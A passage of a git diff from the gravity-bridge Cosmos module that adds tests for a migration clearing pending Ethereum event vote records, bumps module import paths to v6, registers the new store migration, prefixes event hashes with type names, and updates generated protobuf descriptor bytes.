InvalidationScope: []byte("scope2"), + InvalidationNonce: 2, + } + unapprovedEvent := types.ContractCallExecutedEvent{ + EventNonce: 7, + EthereumHeight: 92, + InvalidationScope: []byte("scope3"), + InvalidationNonce: 3, + } + + // Set up approved event + event, err := types.PackEvent(&approvedEvent) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 5, OldHash(&approvedEvent), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: true, + }) + + // Set up partial votes event + event, err = types.PackEvent(&partialEvent) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 6, OldHash(&partialEvent), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String()}, + Accepted: false, + }) + + // Set up unapproved event with single vote + event, err = types.PackEvent(&unapprovedEvent) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 7, OldHash(&unapprovedEvent), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr3.String()}, + Accepted: false, + }) + + require.Equal(t, uint64(7), gk.getLastEventNonceByValidator(env.Context, valAddr1)) + require.Equal(t, uint64(6), gk.getLastEventNonceByValidator(env.Context, valAddr2)) + require.Equal(t, uint64(7), gk.getLastEventNonceByValidator(env.Context, valAddr3)) + require.Equal(t, uint64(3), gk.getLastEventNonceByValidator(env.Context, valAddr4)) + require.Equal(t, uint64(5), gk.getLastEventNonceByValidator(env.Context, valAddr5)) + require.Equal(t, 3, len(gk.GetEthereumEventVoteRecordMapping(env.Context))) + + migrator := NewMigrator(gk) + err = migrator.DeletePendingEventVoteRecords(env.Context) + require.NoError(t, err) + + // Verify state after migration + require.Equal(t, uint64(5), gk.GetLastObservedEventNonce(env.Context)) + require.NotNil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[5]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[6], "expected 6 to be deleted: %v", gk.GetEthereumEventVoteRecordMapping(env.Context)[6]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[7], "expected 7 to be deleted: %v", gk.GetEthereumEventVoteRecordMapping(env.Context)[7]) + + // Verify validator nonces are reset correctly + require.Equal(t, uint64(5), gk.getLastEventNonceByValidator(env.Context, valAddr1)) + require.Equal(t, uint64(5), gk.getLastEventNonceByValidator(env.Context, valAddr2)) + require.Equal(t, uint64(5), gk.getLastEventNonceByValidator(env.Context, valAddr3)) +} + +func TestDeletePendingEventVoteRecordsInactiveValidators(t *testing.T) { + env := CreateTestEnv(t) + gk := env.GravityKeeper + + // Active validators who participate in voting + valAddr1 := sdk.ValAddress("cosmosvaloper1") + valAddr2 := sdk.ValAddress("cosmosvaloper2") + valAddr3 := sdk.ValAddress("cosmosvaloper3") + + // Inactive validators with lower nonces + inactiveVal1 := sdk.ValAddress("cosmosvaloper4") + inactiveVal2 := sdk.ValAddress("cosmosvaloper5") + + // Set global last observed nonce + gk.setLastObservedEventNonce(env.Context, 10) + + // Set active validators' nonces + gk.setLastEventNonceByValidator(env.Context, valAddr1, 11) + gk.setLastEventNonceByValidator(env.Context, valAddr2, 12) + gk.setLastEventNonceByValidator(env.Context, valAddr3, 13) + + // Set inactive validators with lower nonces + gk.setLastEventNonceByValidator(env.Context, inactiveVal1, 5) + gk.setLastEventNonceByValidator(env.Context, inactiveVal2, 7) + + // Create and record some events + approvedEvent := types.ContractCallExecutedEvent{ + EventNonce: 10, + EthereumHeight: 99, + InvalidationScope: []byte("scope"), + InvalidationNonce: 1, + } + unapprovedEvent1 := types.ContractCallExecutedEvent{ + EventNonce: 11, + EthereumHeight: 100, + InvalidationScope: []byte("scope1"), + InvalidationNonce: 1, + } + unapprovedEvent2 := types.ContractCallExecutedEvent{ + EventNonce: 12, + EthereumHeight: 100, + InvalidationScope: []byte("scope2"), + InvalidationNonce: 2, + } + unapprovedEvent3 := types.ContractCallExecutedEvent{ + EventNonce: 13, + EthereumHeight: 100, + InvalidationScope: []byte("scope3"), + InvalidationNonce: 3, + } + + event, err := types.PackEvent(&approvedEvent) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 10, OldHash(&approvedEvent), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: true, + }) + + event, err = types.PackEvent(&unapprovedEvent1) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 11, OldHash(&unapprovedEvent1), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + event, err = types.PackEvent(&unapprovedEvent2) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 12, OldHash(&unapprovedEvent2), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + event, err = types.PackEvent(&unapprovedEvent3) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 13, OldHash(&unapprovedEvent3), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + // Verify initial state + require.Equal(t, uint64(11), gk.getLastEventNonceByValidator(env.Context, valAddr1)) + require.Equal(t, uint64(12), gk.getLastEventNonceByValidator(env.Context, valAddr2)) + require.Equal(t, uint64(13), gk.getLastEventNonceByValidator(env.Context, valAddr3)) + require.Equal(t, uint64(5), gk.getLastEventNonceByValidator(env.Context, inactiveVal1)) + require.Equal(t, uint64(7), gk.getLastEventNonceByValidator(env.Context, inactiveVal2)) + + // Run migration + migrator := NewMigrator(gk) + err = migrator.DeletePendingEventVoteRecords(env.Context) + require.NoError(t, err) + + // Verify active validators were reset to last observed nonce + require.Equal(t, uint64(10), gk.getLastEventNonceByValidator(env.Context, valAddr1)) + require.Equal(t, uint64(10), gk.getLastEventNonceByValidator(env.Context, valAddr2)) + require.Equal(t, uint64(10), gk.getLastEventNonceByValidator(env.Context, valAddr3)) + + // Verify inactive validators' nonces were not changed + require.Equal(t, uint64(5), gk.getLastEventNonceByValidator(env.Context, inactiveVal1)) + require.Equal(t, uint64(7), gk.getLastEventNonceByValidator(env.Context, inactiveVal2)) +} diff --git a/module/x/gravity/keeper/msg_server.go b/module/x/gravity/keeper/msg_server.go index 9db6fd403..f06e1151f 100644 --- a/module/x/gravity/keeper/msg_server.go +++ b/module/x/gravity/keeper/msg_server.go @@ -12,7 +12,7 @@ import ( "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/crypto" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) type msgServer struct { diff --git a/module/x/gravity/keeper/msg_server_test.go b/module/x/gravity/keeper/msg_server_test.go index 5992256d2..62206fdd4 100644 --- a/module/x/gravity/keeper/msg_server_test.go +++ b/module/x/gravity/keeper/msg_server_test.go @@ -13,7 +13,7 @@ import ( ethCrypto "github.com/ethereum/go-ethereum/crypto" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) var ( diff --git a/module/x/gravity/keeper/pool.go b/module/x/gravity/keeper/pool.go index 5c730745c..2a7ddae6c 100644 --- a/module/x/gravity/keeper/pool.go +++ b/module/x/gravity/keeper/pool.go @@ -10,7 +10,7 @@ import ( "github.com/cosmos/cosmos-sdk/store/prefix" sdk "github.com/cosmos/cosmos-sdk/types" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // createSendToEthereum diff --git a/module/x/gravity/keeper/pool_test.go b/module/x/gravity/keeper/pool_test.go index 5d6403b6e..4179b438c 100644 --- a/module/x/gravity/keeper/pool_test.go +++ b/module/x/gravity/keeper/pool_test.go @@ -7,7 +7,7 @@ import ( "github.com/ethereum/go-ethereum/common" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func TestAddToOutgoingPool(t *testing.T) { diff --git a/module/x/gravity/keeper/proposal_handler.go b/module/x/gravity/keeper/proposal_handler.go index 524764d04..b4e553a51 100644 --- a/module/x/gravity/keeper/proposal_handler.go +++ b/module/x/gravity/keeper/proposal_handler.go @@ -4,7 +4,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" authtypes "github.com/cosmos/cosmos-sdk/x/auth/types" distributiontypes "github.com/cosmos/cosmos-sdk/x/distribution/types" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func (k Keeper) HandleCommunityPoolEthereumSpendProposal(ctx sdk.Context, p *types.CommunityPoolEthereumSpendProposal) error { diff --git a/module/x/gravity/keeper/signer_set.go b/module/x/gravity/keeper/signer_set.go index f5f94d19a..86b6b834a 100644 --- a/module/x/gravity/keeper/signer_set.go +++ b/module/x/gravity/keeper/signer_set.go @@ -5,7 +5,7 @@ import ( "cosmossdk.io/errors" sdk "github.com/cosmos/cosmos-sdk/types" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // TODO here we should check the contents of the validator set against diff --git a/module/x/gravity/keeper/signer_set_test.go b/module/x/gravity/keeper/signer_set_test.go index 5602c7d07..138aed40d 100644 --- a/module/x/gravity/keeper/signer_set_test.go +++ b/module/x/gravity/keeper/signer_set_test.go @@ -7,7 +7,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func TestSignerSetTxExecuted(t *testing.T) { @@ -83,3 +83,61 @@ func TestGetUnconfirmedSignerSetTxs(t *testing.T) { require.Empty(t, gk.GetUnsignedSignerSetTxs(ctx, val1)) require.Equal(t, 1, len(gk.GetUnsignedSignerSetTxs(ctx, val2))) } + +func TestOrderSignerSetsByNonceAscending(t *testing.T) { + t.Run("normal case", func(t *testing.T) { + // Create test signer sets with different nonces + signerSets := []*types.SignerSetTx{ + {Nonce: 3}, + {Nonce: 1}, + {Nonce: 4}, + {Nonce: 2}, + } + + // Order the signer sets + orderedSignerSets := orderSignerSetsByNonceAscending(signerSets) + + // Check if the signer sets are ordered correctly + assert.Equal(t, uint64(1), orderedSignerSets[0].Nonce) + assert.Equal(t, uint64(2), orderedSignerSets[1].Nonce) + assert.Equal(t, uint64(3), orderedSignerSets[2].Nonce) + assert.Equal(t, uint64(4), orderedSignerSets[3].Nonce) + + // Check if the length of the slice remains the same + assert.Equal(t, len(signerSets), len(orderedSignerSets)) + }) + + t.Run("empty slice", func(t *testing.T) { + signerSets := []*types.SignerSetTx{} + orderedSignerSets := orderSignerSetsByNonceAscending(signerSets) + assert.Empty(t, orderedSignerSets) + }) + + t.Run("nil slice", func(t *testing.T) { + var signerSets []*types.SignerSetTx + orderedSignerSets := orderSignerSetsByNonceAscending(signerSets) + assert.Nil(t, orderedSignerSets) + }) + + t.Run("single element", func(t *testing.T) { + signerSets := []*types.SignerSetTx{{Nonce: 1}} + orderedSignerSets := orderSignerSetsByNonceAscending(signerSets) + assert.Equal(t, 1, len(orderedSignerSets)) + assert.Equal(t, uint64(1), orderedSignerSets[0].Nonce) + }) + + t.Run("duplicate nonces", func(t *testing.T) { + signerSets := []*types.SignerSetTx{ + {Nonce: 2}, + {Nonce: 1}, + {Nonce: 2}, + {Nonce: 1}, + } + orderedSignerSets := orderSignerSetsByNonceAscending(signerSets) + assert.Equal(t, 4, len(orderedSignerSets)) + assert.Equal(t, uint64(1), orderedSignerSets[0].Nonce) + assert.Equal(t, uint64(1), orderedSignerSets[1].Nonce) + assert.Equal(t, uint64(2), orderedSignerSets[2].Nonce) + assert.Equal(t, uint64(2), orderedSignerSets[3].Nonce) + }) +} diff --git a/module/x/gravity/keeper/test_common.go b/module/x/gravity/keeper/test_common.go index d9be09af7..c097b7711 100644 --- a/module/x/gravity/keeper/test_common.go +++ b/module/x/gravity/keeper/test_common.go @@ -59,10 +59,10 @@ import ( ibctransfer "github.com/cosmos/ibc-go/v7/modules/apps/transfer" ibc "github.com/cosmos/ibc-go/v7/modules/core" gethcommon "github.com/ethereum/go-ethereum/common" - gravityclient "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/client" + gravityclient "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/client" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) var ( @@ -234,6 +234,15 @@ func (input TestInput) AddSendToEthTxsToPool(t *testing.T, ctx sdk.Context, toke } } +func (input TestInput) AddSendToEthTxsToPoolWithFee(t *testing.T, ctx sdk.Context, tokenContract gethcommon.Address, sender sdk.AccAddress, receiver gethcommon.Address, num, fee uint64) { + for i := 0; i < int(num); i++ { + amount := types.NewERC20Token(uint64(i+100), tokenContract).GravityCoin() + fee := types.NewERC20Token(fee, tokenContract).GravityCoin() + _, err := input.GravityKeeper.createSendToEthereum(ctx, sender, receiver.Hex(), amount, fee) + require.NoError(t, err) + } +} + func (input TestInput) AddBalanceToBank(ctx sdk.Context, addr sdk.AccAddress, balances sdk.Coins) error { return fundAccount(ctx, input.BankKeeper, addr, balances) } diff --git a/module/x/gravity/module.go b/module/x/gravity/module.go index 006ecdfc6..80a088080 100644 --- a/module/x/gravity/module.go +++ b/module/x/gravity/module.go @@ -18,9 +18,9 @@ import ( simtypes "github.com/cosmos/cosmos-sdk/types/simulation" bankkeeper "github.com/cosmos/cosmos-sdk/x/bank/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/client/cli" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/client/cli" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // type check to ensure the interface is properly implemented @@ -108,7 +108,7 @@ func (AppModule) Name() string { // ConsensusVersion implements AppModule/ConsensusVersion. func (AppModule) ConsensusVersion() uint64 { - return 5 + return 6 } // RegisterInvariants implements app module @@ -127,9 +127,10 @@ func (am AppModule) RegisterServices(cfg module.Configurator) { types.RegisterMsgServer(cfg.MsgServer(), keeper.NewMsgServerImpl(am.keeper)) types.RegisterQueryServer(cfg.QueryServer(), am.keeper) - // The 4 to 5 migration is a no-op, no store migrations are required - if err := cfg.RegisterMigration(types.ModuleName, 4, func(ctx sdk.Context) error { - return nil + // The 5 to 6 migration handles clearing in-flight event confirmations to prevent unmatching hashes + migrator := keeper.NewMigrator(am.keeper) + if err := cfg.RegisterMigration(types.ModuleName, 5, func(ctx sdk.Context) error { + return migrator.MigrateStore(ctx) }); err != nil { panic(fmt.Errorf("failed to register migration handler: %w", err)) } diff --git a/module/x/gravity/types/ethereum_event.go b/module/x/gravity/types/ethereum_event.go index 21928d712..c4ed6eb42 100644 --- a/module/x/gravity/types/ethereum_event.go +++ b/module/x/gravity/types/ethereum_event.go @@ -35,6 +35,7 @@ func (stce *SendToCosmosEvent) Hash() tmbytes.HexBytes { rcv, _ := sdk.AccAddressFromBech32(stce.CosmosReceiver) path := bytes.Join( [][]byte{ + []byte("SendToCosmosEvent"), sdk.Uint64ToBigEndian(stce.EventNonce), common.HexToAddress(stce.TokenContract).Bytes(), stce.Amount.BigInt().Bytes(), @@ -51,6 +52,7 @@ func (stce *SendToCosmosEvent) Hash() tmbytes.HexBytes { func (bee *BatchExecutedEvent) Hash() tmbytes.HexBytes { path := bytes.Join( [][]byte{ + []byte("BatchExecutedEvent"), common.HexToAddress(bee.TokenContract).Bytes(), sdk.Uint64ToBigEndian(bee.EventNonce), sdk.Uint64ToBigEndian(bee.BatchNonce), @@ -65,6 +67,7 @@ func (bee *BatchExecutedEvent) Hash() tmbytes.HexBytes { func (ccee *ContractCallExecutedEvent) Hash() tmbytes.HexBytes { path := bytes.Join( [][]byte{ + []byte("ContractCallExecutedEvent"), sdk.Uint64ToBigEndian(ccee.EventNonce), ccee.InvalidationScope, sdk.Uint64ToBigEndian(ccee.InvalidationNonce), @@ -79,6 +82,7 @@ func (ccee *ContractCallExecutedEvent) Hash() tmbytes.HexBytes { func (e20de *ERC20DeployedEvent) Hash() tmbytes.HexBytes { path := bytes.Join( [][]byte{ + []byte("Erc20DeployedEvent"), sdk.Uint64ToBigEndian(e20de.EventNonce), []byte(e20de.CosmosDenom), common.HexToAddress(e20de.TokenContract).Bytes(), @@ -96,6 +100,7 @@ func (e20de *ERC20DeployedEvent) Hash() tmbytes.HexBytes { func (sse *SignerSetTxExecutedEvent) Hash() tmbytes.HexBytes { path := bytes.Join( [][]byte{ + []byte("SignerSetTxExecutedEvent"), sdk.Uint64ToBigEndian(sse.EventNonce), sdk.Uint64ToBigEndian(sse.SignerSetTxNonce), sdk.Uint64ToBigEndian(sse.EthereumHeight), diff --git a/module/x/gravity/types/genesis.pb.go b/module/x/gravity/types/genesis.pb.go index a30667728..325593186 100644 --- a/module/x/gravity/types/genesis.pb.go +++ b/module/x/gravity/types/genesis.pb.go @@ -411,64 +411,64 @@ var fileDescriptor_387b0aba880adb60 = []byte{ // 950 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x9c, 0x55, 0xdf, 0x6e, 0x1b, 0xc5, 0x17, 0x8e, 0x7f, 0x4d, 0xf3, 0x23, 0x63, 0x9b, 0x94, 0xa9, 0x43, 0x37, 0x4e, 0x70, 0x4d, 0x10, - 0x55, 0x40, 0x64, 0x37, 0x31, 0x02, 0x44, 0xca, 0x9f, 0x36, 0x89, 0x81, 0x0a, 0x41, 0xd0, 0xda, - 0x02, 0xc1, 0x05, 0xc3, 0x78, 0xe7, 0x64, 0xbd, 0xc4, 0x9e, 0x89, 0x76, 0x66, 0x5d, 0xfb, 0x8e, - 0x47, 0xe8, 0xb3, 0xf0, 0x04, 0x5c, 0xe6, 0xb2, 0x97, 0x08, 0xa1, 0x0a, 0x25, 0x2f, 0x82, 0xe6, - 0xcf, 0xda, 0x6b, 0x37, 0xdc, 0xe4, 0x6a, 0x3d, 0xf3, 0x7d, 0xdf, 0x39, 0xdf, 0x9c, 0xe3, 0x39, - 0x83, 0xbc, 0x38, 0xa5, 0xa3, 0x44, 0x4d, 0x82, 0xd1, 0x7e, 0x10, 0x03, 0x07, 0x99, 0x48, 0xff, - 0x3c, 0x15, 0x4a, 0x60, 0xe4, 0x10, 0x7f, 0xb4, 0x5f, 0xaf, 0xc5, 0x22, 0x16, 0x66, 0x3b, 0xd0, - 0xbf, 0x2c, 0xa3, 0x3e, 0xa7, 0x75, 0x64, 0x8b, 0xac, 0x17, 0x90, 0xa1, 0x8c, 0x5d, 0xc8, 0xfa, - 0x46, 0x2c, 0x44, 0x3c, 0x80, 0xc0, 0xac, 0x7a, 0xd9, 0x69, 0x40, 0xb9, 0x53, 0x6c, 0xff, 0xb1, - 0x8a, 0x56, 0xbe, 0xa3, 0x29, 0x1d, 0x4a, 0xfc, 0x06, 0xca, 0x53, 0x93, 0x84, 0x79, 0xa5, 0x66, - 0x69, 0x67, 0x35, 0x5c, 0x75, 0x3b, 0x4f, 0x18, 0xde, 0x43, 0xb5, 0x48, 0x70, 0x95, 0xd2, 0x48, - 0x11, 0x29, 0xb2, 0x34, 0x02, 0xd2, 0xa7, 0xb2, 0xef, 0xfd, 0xcf, 0x10, 0x71, 0x8e, 0x75, 0x0c, - 0xf4, 0x15, 0x95, 0x7d, 0xfc, 0x21, 0xba, 0xd7, 0x4b, 0x13, 0x16, 0x03, 0x01, 0xd5, 0x87, 0x14, - 0xb2, 0x21, 0xa1, 0x8c, 0xa5, 0x20, 0xa5, 0xb7, 0x6c, 0x44, 0xeb, 0x16, 0x6e, 0x3b, 0xf4, 0xb1, - 0x05, 0xf1, 0x03, 0xb4, 0xe6, 0x74, 0x51, 0x9f, 0x26, 0x5c, 0xbb, 0xb9, 0xdd, 0x2c, 0xed, 0x2c, - 0x87, 0x55, 0xbb, 0x7d, 0xa4, 0x77, 0x9f, 0x30, 0xfc, 0x19, 0xda, 0x92, 0x49, 0xcc, 0x81, 0x11, - 0xf3, 0x49, 0x89, 0x04, 0x45, 0xd4, 0x58, 0x92, 0xa7, 0x09, 0x67, 0xe2, 0xa9, 0xb7, 0x62, 0x44, - 0x9e, 0xe5, 0x74, 0x0c, 0xa5, 0x03, 0xaa, 0x3b, 0x96, 0x3f, 0x18, 0x1c, 0xb7, 0xd0, 0xba, 0xd3, - 0xf7, 0xa8, 0x8a, 0xfa, 0x30, 0x15, 0xfe, 0xdf, 0x08, 0xef, 0x5a, 0xf0, 0xd0, 0x62, 0x4e, 0xf3, - 0x09, 0xaa, 0x4f, 0x0f, 0xa3, 0x71, 0xaa, 0xb2, 0x74, 0x26, 0x7c, 0xc5, 0x66, 0xcc, 0x19, 0x9d, - 0x29, 0xc1, 0xa9, 0xf7, 0xd1, 0xba, 0xa2, 0x69, 0x0c, 0x4a, 0x57, 0x84, 0xa8, 0x31, 0x51, 0xc9, - 0x10, 0x44, 0xa6, 0x3c, 0x64, 0x84, 0xd8, 0x82, 0x6d, 0xd5, 0xef, 0x8e, 0xbb, 0x16, 0xc1, 0xef, - 0x21, 0x4c, 0x47, 0x90, 0xd2, 0x18, 0x48, 0x6f, 0x20, 0xa2, 0x33, 0x23, 0xf1, 0xca, 0x86, 0x7f, - 0xc7, 0x21, 0x87, 0x1a, 0xd0, 0x02, 0xfc, 0x29, 0xda, 0xcc, 0xd9, 0x53, 0x9b, 0x05, 0x59, 0xc5, - 0xfa, 0x73, 0x94, 0xbc, 0xee, 0x33, 0x39, 0x47, 0x5b, 0x72, 0x40, 0x65, 0x9f, 0x9c, 0xea, 0x56, - 0x26, 0x82, 0xcf, 0x57, 0xd6, 0xab, 0x36, 0x4b, 0x3b, 0x95, 0x43, 0xff, 0xe2, 0xc5, 0xfd, 0xa5, - 0xbf, 0x5e, 0xdc, 0x7f, 0x10, 0x27, 0xaa, 0x9f, 0xf5, 0xfc, 0x48, 0x0c, 0x83, 0x48, 0xc8, 0xa1, - 0x90, 0xee, 0xb3, 0x2b, 0xd9, 0x59, 0xa0, 0x26, 0xe7, 0x20, 0xfd, 0x63, 0x88, 0x42, 0xcf, 0xc4, - 0xfc, 0xc2, 0x85, 0x2c, 0x34, 0x02, 0xff, 0x82, 0x6a, 0x0b, 0xf9, 0x4c, 0x27, 0xbc, 0x57, 0x6f, - 0x94, 0x07, 0xcf, 0xe5, 0x31, 0x7d, 0xc3, 0x13, 0xf4, 0xe6, 0x42, 0x86, 0x97, 0xdb, 0xe7, 0xad, - 0xdd, 0x28, 0x5d, 0x63, 0x2e, 0x5d, 0x7b, 0xb1, 0xe7, 0xf8, 0x59, 0x09, 0xed, 0x2e, 0xe4, 0x8e, - 0x04, 0x3f, 0x1d, 0x24, 0x91, 0x4a, 0x78, 0x7c, 0x9d, 0x8f, 0x3b, 0x37, 0xf2, 0xf1, 0xce, 0x9c, - 0x8f, 0xa3, 0x59, 0x8a, 0x97, 0x2d, 0x9d, 0xa0, 0xb7, 0x33, 0xde, 0x13, 0x9c, 0x11, 0xa3, 0xd1, - 0x36, 0xae, 0xbf, 0x3a, 0xaf, 0x99, 0x3f, 0x4a, 0xd3, 0x92, 0x3b, 0x8e, 0x7b, 0xcd, 0x15, 0x7a, - 0x58, 0xb8, 0x0e, 0x30, 0x02, 0xae, 0xc8, 0x48, 0x28, 0xc8, 0xa3, 0x60, 0x13, 0xe5, 0x5e, 0xce, - 0x68, 0x6b, 0xc2, 0xf7, 0x42, 0x81, 0x13, 0x7f, 0x8e, 0xb6, 0x74, 0x41, 0x92, 0x74, 0x08, 0x8c, - 0x88, 0x4c, 0xc5, 0x42, 0x1b, 0x52, 0xe3, 0x5c, 0x7e, 0xd7, 0xc8, 0x37, 0xa6, 0x9c, 0x13, 0x47, - 0xe9, 0x8e, 0x6d, 0x80, 0x83, 0xe5, 0xdf, 0xfe, 0x6e, 0x2e, 0x6d, 0xff, 0xbe, 0x8c, 0x2a, 0x5f, - 0xda, 0x11, 0xda, 0x51, 0x54, 0x01, 0x7e, 0x17, 0xad, 0x9c, 0x9b, 0x91, 0x66, 0x86, 0x58, 0xb9, - 0x85, 0xfd, 0xd9, 0x48, 0xf5, 0xed, 0xb0, 0x0b, 0x1d, 0x03, 0x7f, 0x8c, 0x36, 0x06, 0x54, 0x2a, - 0x22, 0x7a, 0x12, 0xd2, 0x11, 0x30, 0x77, 0x0a, 0x2e, 0x78, 0x04, 0x66, 0xb4, 0x2d, 0x87, 0xaf, - 0x6b, 0xc2, 0x89, 0xc3, 0xcd, 0x19, 0xbe, 0xd5, 0x28, 0xfe, 0x08, 0x55, 0x0a, 0xa6, 0xa5, 0x77, - 0xab, 0x79, 0x6b, 0xa7, 0xdc, 0xaa, 0xf9, 0x76, 0xd8, 0xfa, 0xf9, 0xb0, 0xf5, 0x1f, 0xf3, 0x49, - 0x58, 0x16, 0x53, 0xef, 0x12, 0x1f, 0xa0, 0xaa, 0x3b, 0x13, 0xd5, 0x1d, 0xd3, 0xd3, 0xf0, 0xbf, - 0x95, 0xf3, 0x54, 0xdc, 0x43, 0x9b, 0xd7, 0x15, 0x3c, 0x85, 0x48, 0xa4, 0x4c, 0x7a, 0xab, 0x26, - 0xd2, 0x5b, 0xc5, 0x03, 0xb7, 0x17, 0xab, 0x1f, 0x1a, 0xee, 0x6c, 0x4a, 0x2d, 0x00, 0x12, 0x3f, - 0x42, 0x55, 0x06, 0x03, 0x88, 0xa9, 0x02, 0x72, 0x06, 0x13, 0xe9, 0x21, 0x13, 0x75, 0xb3, 0x18, - 0xf5, 0x1b, 0x19, 0x1f, 0x3b, 0xce, 0xd7, 0x30, 0x91, 0x61, 0x85, 0x15, 0x56, 0xf8, 0x11, 0x5a, - 0x83, 0x34, 0x6a, 0xed, 0x11, 0x25, 0x08, 0x03, 0x2e, 0x86, 0xd2, 0x2b, 0x9b, 0x18, 0xde, 0x9c, - 0xb3, 0xf0, 0xa8, 0xb5, 0xd7, 0x15, 0xc7, 0x9a, 0x10, 0x56, 0x8d, 0xc0, 0xad, 0x24, 0xfe, 0x19, - 0x35, 0x32, 0x6e, 0xc7, 0x32, 0x23, 0x12, 0x38, 0xd3, 0xa1, 0xa6, 0x27, 0xd7, 0xe5, 0xae, 0x98, - 0x80, 0xf5, 0x62, 0xc0, 0x0e, 0x70, 0xd6, 0x15, 0xf9, 0x81, 0xc3, 0xfa, 0x34, 0xc2, 0x3c, 0xd0, - 0x1d, 0xcb, 0xed, 0x03, 0x54, 0x29, 0xa6, 0xc7, 0x35, 0x74, 0xdb, 0x18, 0x70, 0xef, 0x9e, 0x5d, - 0xe8, 0x5d, 0x63, 0xdf, 0x3d, 0x72, 0x76, 0x71, 0xf8, 0xe3, 0xc5, 0x65, 0xa3, 0xf4, 0xfc, 0xb2, - 0x51, 0xfa, 0xe7, 0xb2, 0x51, 0x7a, 0x76, 0xd5, 0x58, 0xba, 0xb8, 0x6a, 0x94, 0x9e, 0x5f, 0x35, - 0x96, 0xfe, 0xbc, 0x6a, 0x2c, 0xfd, 0xf4, 0xb0, 0x70, 0x6d, 0xcf, 0x21, 0x8e, 0x27, 0xbf, 0x8e, - 0xf2, 0x57, 0x7a, 0xd7, 0xbe, 0x5f, 0xc1, 0x50, 0xb0, 0x6c, 0x00, 0xc1, 0xe8, 0x83, 0x60, 0x9c, - 0x43, 0xf6, 0x3e, 0xf7, 0x56, 0x4c, 0xef, 0xdf, 0xff, 0x37, 0x00, 0x00, 0xff, 0xff, 0xcf, 0x27, - 0x49, 0x08, 0x1f, 0x08, 0x00, 0x00, + 0x55, 0x40, 0x64, 0x37, 0x31, 0x52, 0x11, 0x29, 0x7f, 0xda, 0x24, 0x06, 0x2a, 0x04, 0x41, 0x6b, + 0x0b, 0x04, 0x17, 0x0c, 0xe3, 0x9d, 0x93, 0xf5, 0x12, 0x7b, 0x26, 0xda, 0x99, 0x75, 0xed, 0x3b, + 0x1e, 0xa1, 0xcf, 0xc2, 0x13, 0x70, 0x99, 0xcb, 0x5e, 0x22, 0x84, 0x2a, 0x94, 0xbc, 0x08, 0x9a, + 0x3f, 0x6b, 0xaf, 0xdd, 0x70, 0x93, 0xab, 0xf5, 0xcc, 0xf7, 0x7d, 0xe7, 0x7c, 0x73, 0x8e, 0xe7, + 0x0c, 0xf2, 0xe2, 0x94, 0x8e, 0x12, 0x35, 0x09, 0x46, 0xfb, 0x41, 0x0c, 0x1c, 0x64, 0x22, 0xfd, + 0xf3, 0x54, 0x28, 0x81, 0x91, 0x43, 0xfc, 0xd1, 0x7e, 0xbd, 0x16, 0x8b, 0x58, 0x98, 0xed, 0x40, + 0xff, 0xb2, 0x8c, 0xfa, 0x9c, 0xd6, 0x91, 0x2d, 0xb2, 0x5e, 0x40, 0x86, 0x32, 0x76, 0x21, 0xeb, + 0x1b, 0xb1, 0x10, 0xf1, 0x00, 0x02, 0xb3, 0xea, 0x65, 0xa7, 0x01, 0xe5, 0x4e, 0xb1, 0xfd, 0xc7, + 0x2a, 0x5a, 0xf9, 0x8e, 0xa6, 0x74, 0x28, 0xf1, 0x5b, 0x28, 